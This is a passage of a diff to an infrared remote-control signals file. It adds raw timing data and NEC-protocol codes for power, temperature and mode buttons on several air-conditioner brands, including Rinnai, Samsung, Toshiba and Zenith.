436 464 405 433 436 433 458 432 413 435 429 440 423 436 433 457 413 456 415 433 431 438 429 440 425 454 419 440 425 465 411 437 436 464 407 441 424 435 428 441 452 407 436 433 432 437 432 437 456 434 411 437 425 465 404 434 433 457 1276 463 409 439 429 461 1294 434 1293 414 450 409 1317 411 456 413 17057 3603 1727 415 1310 408 1318 431 436 433 407 462 412 436 1287 431 462 438 405 433 1319 440 1290 407 461 429 1299 408 432 458 411 437 1289 439 1310 429 443 416 1305 434 1297 431 435 413 452 438 1292 436 411 437 453 416 1293 456 444 415 432 437 456 413 425 434 458 411 456 413 427 442 449 430 415 433 431 459 415 433 442 458 414 434 430 460 433 405 436 464 416 463 410 438 429 440 451 428 1301 438 436 412 426 433 437 432 432 437 432 437 430 439 1313 405 434 435 434 435 460 409 432 437 430 439 423 456 1298 430 410 438 429 440 427 432 433 436 431 438 1314 414 448 431 409 460 1294 413 1284 434 459 431 438 410 1289 460 1270 437 458 432 413 435 434 435 1315 434 1268 460 406 463 1291 416 1307 411 1313 436 409 439 1312 406 1318 410 1317 432 409 439 427 432 462 407 436 464 405 464 402 457 413 435 456 413 429 440 431 438 427 432 435 434 431 459 408 440 427 442 425 434 431 438 428 441 424 435 432 437 430 439 454 436 407 462 405 433 436 464 406 432 432 437 432 458 410 459 412 436 428 441 422 437 430 439 430 439 452 407 436 433 434 456 415 433 430 460 409 439 428 462 409 460 409 460 409 439 425 465 405 433 429 440 454 436 407 441 1308 410 457 412 429 440 1312 406 1319 409 429 440 1288 461 408 461 +# +# Rinnai AC # name: POWER type: raw frequency: 38000 duty_cycle: 0.330000 data: 9026 4518 591 1706 564 1709 561 581 564 579 566 579 566 580 565 1686 595 1708 562 1709 561 1711 569 1705 565 578 567 1683 587 1690 591 1687 593 577 568 573 562 579 566 577 568 575 560 584 561 1689 591 1686 594 1682 588 579 566 576 569 574 561 582 563 581 564 582 563 558 587 583 562 579 566 575 560 583 562 581 564 580 565 1686 594 1683 587 583 562 579 566 576 569 574 561 582 563 581 564 582 563 558 587 582 563 578 567 575 560 582 563 580 565 579 566 1684 586 561 594 575 560 581 564 578 567 576 559 584 561 583 562 558 587 560 585 584 561 580 565 577 568 574 561 582 563 581 564 556 589 558 587 582 563 578 567 575 560 582 563 580 565 579 566 1684 586 561 594 576 559 582 563 578 567 576 559 584 561 583 562 558 587 560 595 574 561 1711 559 582 563 1711 559 584 561 583 562 557 588 559 586 584 561 1711 559 1713 567 1705 565 1710 560 1689 591 1686 594 552 593 1706 564 +# +name: TEMP+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9031 4513 585 1712 568 1705 565 578 567 576 569 576 559 561 594 1683 587 1689 591 1707 563 1710 560 1714 566 577 568 1682 588 1689 591 1687 593 577 568 573 562 580 565 577 568 576 569 575 560 1691 589 1663 617 1685 595 572 563 579 566 577 568 575 560 584 561 583 562 558 587 1690 590 577 568 573 562 581 564 579 566 578 567 1658 612 1666 614 582 563 578 567 574 561 582 563 580 565 579 566 554 591 556 589 581 564 577 568 574 561 581 564 579 566 578 567 1685 585 535 620 576 569 572 563 579 566 576 569 575 560 584 561 559 586 561 594 575 570 571 564 578 567 576 569 574 561 583 562 582 563 558 587 583 562 579 566 576 569 574 561 582 563 581 564 1688 592 554 591 579 566 575 560 582 563 579 566 577 568 576 569 551 594 527 618 578 567 575 560 582 563 579 566 578 567 577 568 552 593 554 591 579 566 576 569 1705 565 577 568 1706 564 1687 593 1684 586 560 595 572 563 +# +name: TEMP- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9032 4512 586 1711 569 1704 566 577 568 575 560 585 560 560 595 1656 614 1689 591 1707 563 1709 561 1713 567 576 569 1682 588 1689 591 1687 593 576 569 573 562 580 565 578 567 576 569 575 560 1691 589 1689 591 1685 595 572 563 579 566 576 569 574 561 583 562 558 587 561 594 575 560 582 563 578 567 576 569 574 561 583 562 1689 591 1686 594 576 569 573 562 580 565 577 568 576 569 575 560 560 595 552 593 577 568 574 561 580 565 578 567 577 568 576 569 1682 588 559 586 584 561 580 565 577 568 575 560 584 561 583 562 558 587 560 595 575 560 581 564 578 567 575 560 584 561 583 562 582 563 558 587 583 562 579 566 576 569 574 561 582 563 581 564 1687 593 554 591 579 566 575 560 582 563 580 565 578 567 577 568 553 592 555 590 579 566 1707 563 579 566 576 569 575 560 584 561 559 586 561 594 575 560 1712 568 1705 565 578 567 1707 563 1687 593 1684 586 561 594 1705 565 +# +# Samsung Wind-Free AC # name: POWER type: raw frequency: 38000 duty_cycle: 0.330000 data: 608 17795 3020 8937 519 502 495 1493 492 475 522 472 525 469 518 476 521 472 525 469 518 476 521 1493 492 503 494 499 498 1490 495 500 517 503 494 1493 492 1497 498 1463 521 1467 517 1470 525 470 517 503 494 500 497 497 490 504 493 501 496 497 490 504 493 528 469 498 519 474 513 481 516 505 492 501 496 498 499 468 519 502 495 499 498 468 519 502 495 499 498 496 491 503 494 499 498 496 491 530 467 500 497 496 521 500 487 480 517 503 494 473 524 1464 521 1467 517 1471 524 1491 493 2972 2993 8939 517 1523 472 495 492 502 495 499 518 502 495 499 488 506 491 503 494 472 525 1490 495 472 525 496 491 1470 525 496 491 1497 498 1517 467 1494 490 1497 518 1470 514 1474 521 473 524 470 517 503 494 473 524 470 517 504 493 474 523 497 490 504 493 501 496 498 489 504 493 528 469 525 462 504 513 508 489 478 519 501 496 498 499 468 519 475 522 498 499 495 492 475 522 471 526 495 492 502 495 499 498 495 492 502 495 526 471 522 465 529 468 499 518 475 522 499 498 2967 2998 8933 523 1464 520 474 523 470 517 477 520 474 523 497 490 504 493 501 496 498 489 1499 496 525 493 474 513 1502 493 474 523 1465 519 1468 516 478 519 1468 517 1499 496 1492 493 1522 462 1499 496 1492 493 1495 520 1468 516 478 519 474 523 471 516 1472 523 1465 519 1469 526 495 492 502 495 498 499 495 492 529 468 499 498 495 492 529 488 1473 522 1466 518 475 522 472 525 1463 522 1466 518 502 495 499 498 496 491 503 494 499 498 496 491 503 494 1494 521 1493 492 1470 525 1463 521 +# +name: MODE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 603 17909 2988 8942 524 496 491 1523 472 496 491 530 467 526 471 496 521 499 488 506 491 503 494 1467 518 503 494 500 497 1463 522 500 497 497 490 1498 497 1491 493 1494 490 1498 497 1491 514 507 490 504 493 501 496 498 499 494 493 501 496 498 489 505 492 502 495 498 499 495 492 502 495 499 498 495 492 529 468 526 471 523 494 499 488 506 491 503 494 499 498 496 491 503 494 500 497 496 491 503 494 500 497 497 490 504 493 500 497 497 490 504 493 1495 489 1498 517 1471 514 1475 520 2947 3018 8939 517 1471 524 497 490 504 493 500 497 497 490 504 493 501 496 498 489 505 492 1495 489 531 486 508 489 505 492 1469 515 1472 523 1466 518 502 495 1466 518 1470 525 1463 522 1467 517 1497 498 1491 514 1474 521 1467 517 503 494 499 498 496 491 1470 525 1463 522 1468 517 503 494 500 497 497 490 504 493 528 469 524 463 531 486 508 489 1471 524 1465 519 501 496 498 499 495 492 502 495 498 499 495 492 1496 499 495 492 502 495 499 498 523 464 1496 519 1470 515 1474 521 1467 517 +# +# Suntec Wellness AC 14246 TRANSFORM 14.000 Eco R290 +# +name: POWER +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 9C 00 00 00 +# +name: SPEED +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 96 00 00 00 +# +name: TEMP+ +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 94 00 00 00 +# +name: TEMP- +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 95 00 00 00 +# +name: MODE +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 9D 00 00 00 +# +# Toshiba AC # name: POWER type: parsed @@ -172,23 +709,75 @@ protocol: NECext address: 01 FF 00 00 command: 12 ED 00 00 # +name: TEMP+ +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 1A E5 00 00 +# +name: TEMP- +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 13 EC 00 00 +# +# Toshiba RAS-13SKV2-E +# name: POWER type: raw frequency: 38000 duty_cycle: 0.330000 data: 4384 4380 522 1611 551 1609 553 1607 555 1605 557 523 547 533 548 1612 550 530 551 529 552 528 553 527 554 526 555 1605 557 1603 549 531 550 1610 552 528 553 527 554 527 554 526 555 525 556 524 546 1613 549 1611 551 1609 553 1607 555 1605 557 1603 548 1611 551 1609 553 527 554 527 554 526 555 525 556 524 557 523 547 533 548 532 549 531 550 1609 553 527 554 1606 556 1604 547 533 548 532 549 531 550 530 551 529 552 528 553 527 554 526 555 525 556 524 557 523 547 532 549 1611 551 529 552 528 553 528 553 527 554 526 555 525 556 524 546 533 548 532 549 1611 551 1609 553 527 554 526 555 525 556 524 557 523 547 7458 4392 4345 556 1604 547 1612 550 1611 551 1609 553 527 554 526 555 1605 557 523 547 533 548 532 549 531 550 530 551 1609 553 1607 555 525 556 1604 547 532 549 532 549 531 550 530 551 529 552 528 553 1607 555 1605 557 1603 548 1611 551 1610 552 1608 554 1606 556 1604 547 533 548 532 549 532 549 531 550 530 551 529 552 528 553 527 554 526 555 1604 547 533 548 1612 550 1610 552 528 553 528 553 527 554 526 555 525 556 524 557 523 547 533 548 532 549 531 550 530 551 529 552 1607 555 525 556 525 556 524 557 523 547 533 548 532 549 531 550 530 551 529 552 1607 555 1605 557 523 547 533 548 532 549 531 550 530 551 # +name: TEMP+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4386 4350 550 1611 550 1609 552 1607 554 1606 555 524 556 524 556 1603 548 532 549 531 550 530 551 530 550 529 552 1608 553 1606 555 524 556 1603 548 532 549 532 548 531 550 530 551 530 550 529 551 1608 553 1606 555 1604 557 1602 549 1611 550 1610 551 1608 553 1607 554 525 555 525 555 524 556 524 556 523 547 533 547 532 549 531 549 531 550 1609 552 528 552 1607 554 1605 556 1603 548 533 548 532 548 531 550 531 549 530 551 529 552 529 552 528 552 527 553 526 554 525 555 1604 547 533 548 532 548 531 550 531 550 530 551 529 552 528 552 527 553 527 553 1605 556 1603 548 1612 549 531 549 530 551 530 550 529 552 7452 4385 4352 548 1612 549 1610 551 1609 552 1607 554 526 554 525 555 1605 556 523 547 533 547 532 548 532 548 531 549 1610 551 1608 553 526 554 1606 555 524 556 524 556 523 547 533 547 533 548 532 548 1610 551 1608 553 1607 554 1605 556 1604 547 1613 548 1611 550 1610 551 529 551 528 553 527 553 527 553 526 554 526 554 525 555 524 556 524 546 1613 548 531 549 1610 551 1608 553 1607 554 526 554 525 555 525 555 524 556 524 556 523 547 533 547 532 548 531 550 531 550 530 550 1608 553 527 553 526 554 526 554 525 555 525 555 524 556 523 547 533 547 532 548 1611 550 1609 552 1607 554 526 554 526 554 525 555 525 555 +# +name: TEMP- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4388 4348 553 1608 553 1606 555 1605 556 1603 548 532 548 532 548 1611 550 529 552 529 552 528 552 527 553 527 554 1605 556 1603 548 532 549 1611 550 530 551 529 552 528 553 528 552 527 553 526 555 1605 556 1603 548 1612 550 1610 551 1608 553 1607 554 1605 556 1604 547 533 548 532 549 532 549 531 550 530 551 530 551 529 552 528 552 527 554 1605 556 524 556 1603 548 1612 549 530 551 529 552 529 551 528 552 528 552 527 553 526 554 525 555 525 555 524 556 523 547 533 548 1611 550 530 550 529 551 528 552 528 552 527 553 527 553 526 554 525 555 524 556 1603 548 1611 550 530 550 530 550 529 551 528 553 528 552 7451 4386 4350 550 1611 550 1609 552 1608 553 1606 555 525 555 524 556 1604 547 533 547 532 548 531 549 531 550 530 551 1609 552 1607 554 525 555 1605 556 523 547 533 547 532 548 532 549 531 550 530 551 1609 552 1607 554 1605 556 1604 557 1603 548 1612 549 1610 551 1609 552 527 553 527 553 526 554 526 554 525 555 524 556 524 546 533 547 533 548 1611 550 530 551 1609 552 1607 554 526 554 525 555 525 555 524 556 524 546 533 547 533 548 532 548 531 549 530 551 529 551 528 553 1607 554 525 555 525 555 524 556 524 556 523 547 533 547 532 549 531 549 531 550 1609 552 1607 554 526 554 525 555 525 555 524 556 524 556 +# +# Toshiba Remote Type RG57H4(B)/BGEFU1 +# Used with Toshiba Air Conditioner RAC-PD0812CRRU +Filetype: IR signals file +# POWER name: POWER type: raw frequency: 38000 duty_cycle: 0.330000 data: 4414 4350 566 1579 568 504 569 1576 571 501 572 500 563 535 538 507 566 1579 568 1578 569 529 544 501 572 500 563 509 564 507 566 532 541 1578 569 503 570 1574 563 1583 564 508 565 1580 567 1579 568 1577 570 529 544 1575 572 1573 564 1582 565 1581 566 1579 568 1578 569 1576 571 1575 572 1573 564 1582 565 1581 566 1579 568 1578 569 1577 570 1575 572 1574 563 509 564 1582 565 1606 541 505 568 530 543 502 572 501 562 1609 538 5170 4410 4354 562 536 537 1608 539 507 566 1580 567 1578 569 1577 570 1575 572 527 536 510 563 1582 565 1580 567 1579 568 1577 570 1576 571 1575 572 526 537 1583 564 508 565 507 566 1579 568 504 569 503 570 528 545 1574 563 510 564 508 565 507 566 506 567 504 569 503 570 502 571 500 563 536 537 508 565 507 566 505 568 530 543 503 570 501 572 526 537 1582 565 507 566 506 567 1579 568 1577 570 1576 571 1574 573 500 563 +# MODE +name: Mode +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4487 4275 568 1577 570 501 573 1573 564 508 565 506 567 504 569 502 571 1574 563 1582 565 507 566 505 568 529 544 1574 563 509 565 1580 567 1578 569 502 572 1573 564 1581 566 506 567 1577 570 1575 572 1572 565 507 566 1579 568 1576 571 1574 563 1582 565 1580 567 1577 570 1575 572 1573 564 1581 566 1579 568 1577 570 1574 563 1582 565 1580 567 1578 569 1575 572 500 563 1582 565 1579 568 504 569 1575 572 1573 564 508 565 506 567 5164 4406 4354 573 499 564 1581 566 506 567 1577 570 1575 562 1583 564 1580 567 505 568 503 570 1574 563 1582 565 1580 567 505 568 1576 571 500 563 509 565 1580 567 504 569 502 571 1573 564 508 565 506 567 505 568 1576 571 500 563 509 565 507 566 505 568 503 570 501 573 499 564 508 565 532 541 504 569 528 545 526 537 509 564 507 566 505 568 503 571 1573 564 508 565 506 567 1577 570 502 571 500 563 1581 566 1579 568 +# TEMP+ +name: TEMP+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4408 4354 573 1599 538 534 539 1580 567 531 542 503 570 528 545 526 537 1608 539 1605 542 504 569 529 544 1574 563 535 538 534 539 1578 569 1576 571 501 572 1599 538 1581 566 506 567 1577 570 1575 572 1573 564 1581 566 1579 568 1577 570 1575 572 1573 564 1582 565 1580 567 1578 569 1576 571 1574 563 1582 565 1580 567 1578 569 1576 571 1574 563 1583 564 1581 566 506 567 1577 570 1575 572 1573 564 1582 565 1580 567 505 568 1576 571 5162 4407 4353 563 535 538 1581 566 506 567 1603 544 1575 572 1573 564 1581 566 507 566 505 568 1577 570 1574 573 500 563 1581 566 1579 568 505 568 503 570 1574 563 510 563 508 565 1580 567 531 542 503 570 501 562 536 537 508 565 532 541 505 568 529 544 527 546 526 537 534 539 533 540 531 542 529 544 527 536 536 537 534 539 532 541 531 542 503 570 1573 564 509 564 507 566 531 542 530 543 502 571 1573 564 508 565 +# TEMP- +name: TEMP- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4406 4356 571 1574 563 509 564 1581 566 506 567 504 569 529 544 501 562 1582 565 1580 567 505 568 503 570 1575 562 510 563 508 565 1580 567 1604 543 529 544 1574 563 1582 565 507 566 1579 568 1577 570 1575 572 500 563 1582 565 1579 568 1577 570 1575 572 1573 564 1581 566 1579 568 1577 570 1575 572 1573 564 1581 566 1579 568 1577 570 1575 572 1573 564 1582 565 506 567 1578 569 1576 571 1574 563 1582 565 1580 567 505 568 503 570 5162 4408 4354 562 535 538 1581 566 505 568 1577 570 1575 572 1573 564 1581 566 506 567 505 568 1576 571 1573 564 509 564 1580 567 1578 569 503 570 501 562 1583 564 507 566 506 567 1577 570 502 571 500 563 509 564 1580 567 505 568 503 570 501 572 499 564 508 565 506 567 531 542 503 570 501 562 536 537 534 539 506 567 504 569 529 544 527 536 510 564 1580 567 505 568 503 570 501 572 526 537 508 565 1579 568 1577 570 # +# Vornado AC +# name: POWER type: raw frequency: 38000 duty_cycle: 0.330000 data: 1347 405 1322 422 410 1332 1300 448 1289 480 383 1303 445 1298 439 1331 417 1299 438 1332 416 1302 1320 6834 1292 456 1292 450 413 1304 1328 445 1292 452 411 1302 446 1297 440 1303 445 1298 439 1303 445 1301 1321 6806 1320 453 1295 422 441 1301 1321 454 1294 422 441 1301 436 1305 443 1300 448 1295 442 1301 447 1298 1324 6802 1324 451 1297 420 443 1299 1323 424 1324 419 444 1298 439 1304 444 1298 439 1304 444 1299 438 1306 1326 6815 1321 453 1295 421 442 1302 1320 426 1322 421 442 1301 436 1306 442 1301 447 1296 441 1301 447 1299 1323 6802 1324 424 1324 418 445 1300 1322 424 1324 419 444 1298 439 1304 444 1299 438 1304 444 1299 438 1306 1326 6809 1328 420 1317 424 439 1306 1326 419 1318 424 439 1304 444 1299 438 1305 443 1299 438 1305 443 1302 1320 +# +# Whynter_AC.ir # name: POWER type: raw @@ -196,14 +785,60 @@ frequency: 38000 duty_cycle: 0.330000 data: 782 708 2923 2885 777 2176 748 2232 775 2152 782 736 752 2176 779 711 777 2179 776 2178 746 2181 774 744 754 737 771 720 778 713 775 716 782 737 751 740 779 712 828 717 833 657 779 713 775 2180 775 716 782 2173 772 720 778 2177 778 713 775 2180 775 716 772 2183 751 740 748 2180 775 715 835 # +name: TEMP- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 775 718 2933 2878 773 2183 750 2179 775 2207 778 742 756 2172 782 2175 779 2150 783 737 750 743 775 743 755 764 723 743 755 738 749 743 776 744 754 739 748 744 754 739 779 2229 756 736 751 2178 776 744 754 2176 778 716 782 2174 780 740 747 2182 751 742 776 2179 754 2176 778 742 756 2174 780 +# +name: TEMP+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 746 745 2927 2882 748 2180 774 2207 778 2202 752 740 747 2181 752 2229 725 2203 751 2204 729 736 772 747 751 741 746 745 753 739 748 743 776 742 756 736 751 740 747 745 805 2202 752 740 747 2181 773 746 752 2176 778 715 772 2182 772 720 777 2177 746 746 772 2182 751 2178 776 742 756 736 803 +# +# Zenith_AC +# name: POWER type: parsed protocol: NECext address: 81 66 00 00 command: 81 7E 00 00 +# +name: TEMP- +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 8A 75 00 00 +# +name: TEMP+ +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 85 7A 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 9B 64 00 00 +# +# SAMSUNG AC 1,8 +# +name: TEMP- +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 31 00 00 00 +# +name: TEMP+ +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 32 00 00 00 # name: POWER type: parsed protocol: NECext -address: 48 12 00 00 -command: 88 08 00 00 +address: 01 08 00 00 +command: 3F 00 00 00